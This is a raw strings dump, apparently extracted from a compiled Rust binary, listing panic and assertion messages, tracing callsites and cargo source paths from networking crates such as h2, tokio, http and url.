event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/send.rs:133event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/send.rs:180event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/send.rs:196event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/send.rs:209event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/send.rs:225
|
||||
event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/send.rs:378event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/send.rs:404event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/send.rs:462event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/send.rs:488h2::clientevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/client.rs:1167event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/client.rs:1172
|
||||
invalid keyinternal error: entered unreachable code/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/slab-0.4.7/src/lib.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/buf/buf_mut.rsbuffer overflow; remaining = ; src = assertion failed: cnt <= self.limit/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/buf/limit.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/indexmap-1.9.2/src/map/core.rsindex not foundencoding header without name, but no previous index to use for name/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/hpack/encoder.rsassertion failed: !header.is_sensitive()
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/hpack/huffman/mod.rs
|
||||
GOAWAY stream IDs shouldn't be higher; last_processed_id = , f.last_stream_id() = /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/go_away.rsassertion failed: !frame.is_ack()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/settings.rsFieldSet corrupted (this is a bug)queue to send local settings: invalid initial receive window/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/stream.rsinvalid initial send window sizeassertion failed: self.ref_count < usize::MAXassertion failed: self.ref_count > 0 assigned capacity to stream; available=; buffered=; id=; max_buffer_size=
|
||||
messageh2::proto::settingsevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/settings.rs:53event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/settings.rs:70event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/settings.rs:88event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/settings.rs:118event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/settings.rs:142idstateis_countedref_countnext_pending_sendis_pending_sendsend_flowrequested_send_capacitybuffered_send_datasend_taskpending_sendnext_pending_send_capacityis_pending_send_capacitysend_capacity_incnext_openis_pending_openis_pending_pushnext_pending_acceptis_pending_acceptrecv_flowin_flight_recv_datanext_window_updateis_pending_window_updatenext_reset_expirepending_recvrecv_taskpending_push_promisescontent_lengthStreamRemainingOmitted
|
||||
h2::proto::streams::streamevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/stream.rs:267event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/stream.rs:287
|
||||
!&-/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/header/map.rsheader map at capacityrequested capacity too largeErrOkPhantomData<>new_len = ; capacity = /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes_mut.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/indexmap-1.9.2/src/map/core.rsEND_STREAMPADDEDHpackInvalidDependencyIdInvalidStreamIdInvalidPayloadAckSettingsInvalidPayloadLengthInvalidWindowUpdateValueInvalidSettingValueTooMuchPaddingBadFrameSize
|
||||
invalid initial window size/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rsFieldSet corrupted (this is a bug)Prioritize::new; flow=schedule_sendassigningschedule_pending_openschedule_pending_open; stream=
|
||||
messageh2::proto::streams::prioritizeevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:90stream.idPrioritize::queue_frameevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:125szrequestedsend_dataevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:174availableevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:191effectivestream.stateincrecv_stream_window_updateclear_pending_capacityevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:342assign_connection_capacitytry_assign_capacityadditionalwindowevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:401event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:432has_unavailableevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:441event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:500frameevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:507try_reclaim_frameevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:573event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:585clear_queueevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:638pop_framepoppedevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:691eosevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:700event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:713lenevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:741updating stream flowupdating connection flowevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:821event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:831event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:856event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs:860
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/header/map.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/indexmap-1.9.2/src/map.rs:status:protocol:path:scheme:method:authority/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/buffer.rsassertion failed: slot.next.is_none()called `Option::unwrap()` on a `None` valueassertion failed: self.can_inc_num_recv_streams()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/counts.rsassertion failed: !stream.is_countedassertion failed: self.can_inc_num_send_streams()
|
||||
FieldSet corrupted (this is a bug)transition_after; stream=; is_closed=; pending_send_empty=; buffered_send_data=; num_recv=; num_send=dec_num_streams; stream=assertion failed: stream.is_countedassertion failed: self.num_send_streams > 0assertion failed: self.num_recv_streams > 0assertion failed: self.num_reset_streams > 0clear_pending_capacity/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rsclear_stream_window_update_queue; stream=/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs
|
||||
DequeindicesIndicesmessageh2::proto::streams::countsevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/counts.rs:136event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/counts.rs:158
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/header/value.rs
|
||||
cannot advance past `remaining`: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes_mut.rsFieldSet corrupted (this is a bug)decode/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/hpack/decoder.rsSizeUpdateLiteralNeverIndexedLiteralWithoutIndexingLiteralWithIndexingIndexedDecoder changed max table sizedecode_string underflowSize of table != 0, but no headers left!internal error: entered unreachable code
|
||||
gzip, deflatehttps/index.html/load_hpack; header malformed -- pseudo not at head of block/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/headers.rsload_hpack; header malformed -- repeated pseudoload_hpack; header list size over maxload_hpack; connection level headerload_hpack; TE header not set to trailers; val=IntegerOverflowInvalidMaxDynamicSizeInvalidPseudoheaderInvalidStatusCodeInvalidUtf8InvalidHuffmanCodeInvalidTableIndexInvalidIntegerPrefixInvalidRepresentationStringUnderflowUnexpectedEndOfStream
|
||||
h2::hpack::decoderhpack::decodemessageevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/hpack/decoder.rs:195remevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/hpack/decoder.rs:203event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/hpack/decoder.rs:210event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/hpack/decoder.rs:221event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/hpack/decoder.rs:228event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/hpack/decoder.rs:238toevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/hpack/decoder.rs:260lenremainingevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/hpack/decoder.rs:321
|
||||
Hash table capacity overflow/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hashbrown-0.12.3/src/raw/mod.rs
|
||||
description() is deprecated; use Displaycannot advance past `remaining`: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes_mut.rsprovided length would overflow after adjustmentinvalid length field length/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-util-0.7.4/src/codec/length_delimited.rsLengthDelimitedCodecErrorframe size too big/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/buf/buf_impl.rsassertion failed: self.remaining() >= dst.len()
|
||||
messagetokio_util::codec::framed_impl/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-util-0.7.4/src/codec/framed_impl.rsevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-util-0.7.4/src/codec/framed_impl.rs:219event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-util-0.7.4/src/codec/framed_impl.rs:204event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-util-0.7.4/src/codec/framed_impl.rs:200event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-util-0.7.4/src/codec/framed_impl.rs:197event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-util-0.7.4/src/codec/framed_impl.rs:185event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-util-0.7.4/src/codec/framed_impl.rs:163/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tracing-core-0.1.30/src/dispatcher.rs
|
||||
PoisonErrorLazy instance has previously been poisoned/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/once_cell-1.17.0/src/lib.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tracing-core-0.1.30/src/callsite.rsAttempted to register a `DefaultCallsite` that already exists! This will cause an infinite loop when attempting to read from the callsite cache. This is likely a bug! You should only need to call `DefaultCallsite::register` once per `DefaultCallsite`.
|
||||
invariant violated: GLOBAL_DISPATCH must be initialized before GLOBAL_INIT is set/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tracing-core-0.1.30/src/dispatcher.rs
|
||||
called `Result::unwrap()` on an `Err` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tracing-core-0.1.30/src/callsite.rs
|
||||
/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/std/src/io/mod.rsfailed to write whole bufferformatter error/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/once_cell-1.17.0/src/imp_std.rscalled `Option::unwrap()` on a `None` value
|
||||
()called `Result::unwrap()` on an `Err` valueassertion failed: handle.shared.owned.is_empty()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/scheduler/current_thread.rsalready borrowed/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/scheduler/multi_thread/worker.rsassertion failed: cx.run(core).is_err()task panicked was cancelledJoinError::Panic(, ...)JoinError::Cancelled()assertion failed: snapshot.is_complete()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/task/harness.rsassertion failed: snapshot.is_join_interested()assertion failed: !snapshot.is_join_waker_set()OS can't spawn worker thread: assertion failed: shared.shutdown_tx.is_some()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/blocking/pool.rsnum_idle_threads underflowed on thread exit/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/alloc/src/vec/mod.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/time/mod.rsassertion failed: !handle.is_shutdown()assertion failed: next.is_notified()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/task/state.rsassertion failed: curr.is_running()assertion failed: prev.is_running()assertion failed: !prev.is_complete()current: , sub: assertion failed: snapshot.ref_count() > 0assertion failed: curr.is_join_interested()assertion failed: !curr.is_join_waker_set()assertion failed: curr.is_join_waker_set()assertion failed: prev.ref_count() >= 1assertion failed: prev.ref_count() >= 2assertion failed: self.0 <= isize::MAX as usizeassertion failed: self.ref_count() > 0
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/net/tcp/stream.rs
|
||||
already borrowed/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/context.rsassertion failed: c.runtime.get().is_entered()
|
||||
A Tokio 1.x context was found, but IO is disabled. Call `enable_io` on the runtime builder to enable IO.A Tokio 1.x context was found, but timers are disabled. Call `enable_time` on the runtime builder to enable timers.mark_pending called when the timer entry is in an invalid state/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/time/entry.rsTimer already fired
|
||||
TOKIO_WORKER_THREADS"" must be valid unicode, error: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/loom/std/mod.rs" cannot be set to 0" must be usize, error: , value:
|
||||
already mutably borrowed/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/context.rsCannot start a runtime from within a runtime. This happens because a function (like `block_on`) attempted to block the current thread while the thread is being used to drive asynchronous tasks.already borrowed
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/time/wheel/level.rs
|
||||
unexpected stage/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/task/core.rsJoinHandle polled after completioncalled `Option::unwrap()` on a `None` valuewaker missing[internal exception] blocking task ran twice./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/blocking/task.rs
|
||||
filled overflowfilled must not become larger than initializedcalled `Option::unwrap()` on a `None` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/io/poll_evented.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/io/read_buf.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/scheduler/multi_thread/worker.rs
|
||||
attempt to calculate the remainder with a divisor of zeropark missingcore missing/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/task/list.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/util/wake_list.rsassertion failed: self.curr <= NUM_WAKERSinconsistent park state; actual = /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/park.rsinconsistent park_timeout state; actual = inconsistent park_timeout state: inconsistent state in unpark
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/scheduler/multi_thread/idle.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/time/wheel/mod.rs; when=/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/time/mod.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/blocking/shutdown.rsCannot drop a runtime in a context where blocking is not allowed. This happens when a runtime is dropped from within an asynchronous context.
|
||||
called after complete/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/sync/oneshot.rsStateis_completeis_closedis_rx_task_setis_tx_task_set/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/time/sleep.rstimer error:
|
||||
not a CurrentThread handle/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/scheduler/mod.rs
|
||||
assertion failed: value <= self.max_value()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/util/bit.rs
|
||||
called `Option::unwrap()` on a `None` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/io/poll_evented.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/scheduler/multi_thread/queue.rsqueue is not full; tail = ; head = actual = queue not empty/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/io/registration.rsA Tokio 1.x context was found, but it is being shutdown./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/task/list.rsThe Tokio context thread-local variable has been destroyed./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/handle.rs
|
||||
rwlock maximum reader count exceeded/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/std/src/sys/unix/locks/pthread_rwlock.rsrwlock read lock would result in deadlockunexpected error during rwlock read lock: rwlock write lock would result in deadlock/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/core/src/slice/sort.rscalled `Result::unwrap()` on an `Err` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/io/mod.rsunexpected error when polling the I/O driver:
|
||||
called `Option::unwrap()` on a `None` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/util/slab.rspage is unallocatedunexpected pointerassertion failed: idx < self.slots.len() as usizeassertion failed: idx < self.slots.len()
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/scheduler/multi_thread/park.rsinconsistent park state; actual = inconsistent park_timeout state: inconsistent state in unpark; actual =
|
||||
assertion failed: waiter.notified.is_none()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/sync/notify.rsinternal error: entered unreachable codecalled `Option::unwrap()` on a `None` valueassertion failed: actual_state == EMPTY || actual_state == NOTIFIED
|
||||
`period` must be non-zero./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/time/interval.rs
|
||||
mio::poll/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/mio-0.8.5/src/poll.rsregistering event source with poller: token=, interests=/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/std/src/io/mod.rsfailed to write whole bufferformatter errorinternal error: entered unreachable code
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/scheduler/multi_thread/worker.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/blocking/schedule.rsId
|
||||
expected MultiThread scheduler/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/scheduler/multi_thread/mod.rstokio-runtime-worker
|
||||
queue not empty/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/task/inject.rs
|
||||
RNG seed generator is internally corrupt/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/util/rand.rs
|
||||
Oh no! We never placed the Core back, this is a bug!/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/scheduler/current_thread.rs
|
||||
called `Option::unwrap()` on a `None` valuedriver missingalready borrowedcore missing/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/util/linked_list.rsassertion failed: self.tail.is_none()headtried to create a `Socket` with an invalid fd/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/socket2-0.4.7/src/socket.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/mio-0.8.5/src/sys/unix/selector/kqueue.rs
|
||||
called `Option::unwrap()` on a `None` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/futures-core-0.3.26/src/task/__internal/atomic_waker.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/url-2.3.1/src/lib.rs
|
||||
called `Result::unwrap()` on an `Err` valueassertion failed: self.is_char_boundary(new_len)/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/alloc/src/string.rsassertion failed: self.is_char_boundary(at)httphttpswswssftpfile/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/url-2.3.1/src/parser.rs//
|
||||
%2e%2EProgramming error. parse_query_and_fragment() called without ? or #/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/url-2.3.1/src/lib.rsURLs more than 4 GB are not supporteda cannot-be-a-base URL doesn
|
||||
/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/core/src/str/pattern.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/url-2.3.1/src/host.rs[]:called `Option::unwrap()` on a `None` value
|
||||
#(5assertion failed: self.is_char_boundary(new_len)/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/alloc/src/string.rs/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/core/src/str/pattern.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/idna-0.3.0/src/uts46.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tinyvec-1.6.0/src/arrayvec.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/unicode-normalization-0.1.22/src/decompose.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tinyvec-1.6.0/src/arrayvec.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/unicode-normalization-0.1.22/src/decompose.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/idna-0.3.0/src/punycode.rs
|
||||
attempt to calculate the remainder with a divisor of zerocalled `Option::unwrap()` on a `None` valueexplicit panic/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tinyvec-1.6.0/src/arrayvec.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/unicode-normalization-0.1.22/src/lookups.rs
|
||||
assertion failed: mid <= self.len()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/percent-encoding-2.2.0/src/lib.rs%00%01%02%03%04%05%06%07%08%09%0A%0B%0C%0D%0E%0F%10%11%12%13%14%15%16%17%18%19%1A%1B%1C%1D%1E%1F%20%21%22%23%24%25%26%27%28%29%2A%2B%2C%2D%2E%2F%30%31%32%33%34%35%36%37%38%39%3A%3B%3C%3D%3E%3F%40%41%42%43%44%45%46%47%48%49%4A%4B%4C%4D%4E%4F%50%51%52%53%54%55%56%57%58%59%5A%5B%5C%5D%5E%5F%60%61%62%63%64%65%66%67%68%69%6A%6B%6C%6D%6E%6F%70%71%72%73%74%75%76%77%78%79%7A%7B%7C%7D%7E%7F%80%81%82%83%84%85%86%87%88%89%8A%8B%8C%8D%8E%8F%90%91%92%93%94%95%96%97%98%99%9A%9B%9C%9D%9E%9F%A0%A1%A2%A3%A4%A5%A6%A7%A8%A9%AA%AB%AC%AD%AE%AF%B0%B1%B2%B3%B4%B5%B6%B7%B8%B9%BA%BB%BC%BD%BE%BF%C0%C1%C2%C3%C4%C5%C6%C7%C8%C9%CA%CB%CC%CD%CE%CF%D0%D1%D2%D3%D4%D5%D6%D7%D8%D9%DA%DB%DC%DD%DE%DF%E0%E1%E2%E3%E4%E5%E6%E7%E8%E9%EA%EB%EC%ED%EE%EF%F0%F1%F2%F3%F4%F5%F6%F7%F8%F9%FA%FB%FC%FD%FE%FF
|
||||
description() is deprecated; use Display/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/uri/path.rs/
|
||||
description() is deprecated; use Displaycannot advance past `remaining`: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes.rs
|
||||
PATCHCONNECTTRACEDELETEPUTGETOPTIONSInvalidMethodinvalid HTTP methodhttpsinternal error: entered unreachable code/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/uri/scheme.rs
|
||||
http::Error/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/method.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/uri/authority.rs
|
||||
:split always has at least 1 itemparsing should validate bracketsdescription() is deprecated; use Displaycannot advance past `remaining`: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes.rsSensitive"/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/header/value.rs\x\"InvalidHeaderValuefailed to parse header valueToStrError_priv
|
||||
/*internal error: entered unreachable code/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/version.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes.rsrange end out of bounds:
|
||||
overflowsplit_off out of bounds: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes_mut.rssplit_to out of bounds: set_end out of boundsnew_len = ; capacity =
|
||||
PMpmAMamMondayTuesdayWednesdayFridaySunday/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/time-0.3.17/src/formatting/mod.rs-+0 JanuaryMarchAprilMayAugustSeptemberOctober
|
||||
failed to write the buffered data00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/alloc/src/slice.rsPoisonErroroffset_second-T:.Z+offset_secondMondayTuesdayWednesdayFridaySunday/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/time-0.3.17/src/formatting/formattable.rs, JanuaryMarchAprilMayAugustSeptemberOctober:-+
|
||||
[4m/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/termcolor-1.1.3/src/lib.rs
|
||||
called `Result::unwrap()` on an `Err` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/simplelog-0.12.0/src/loggers/termlog.rs Invalid time format: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/simplelog-0.12.0/src/loggers/logging.rs[]: <unknown>:<unknown>] :]
|
||||
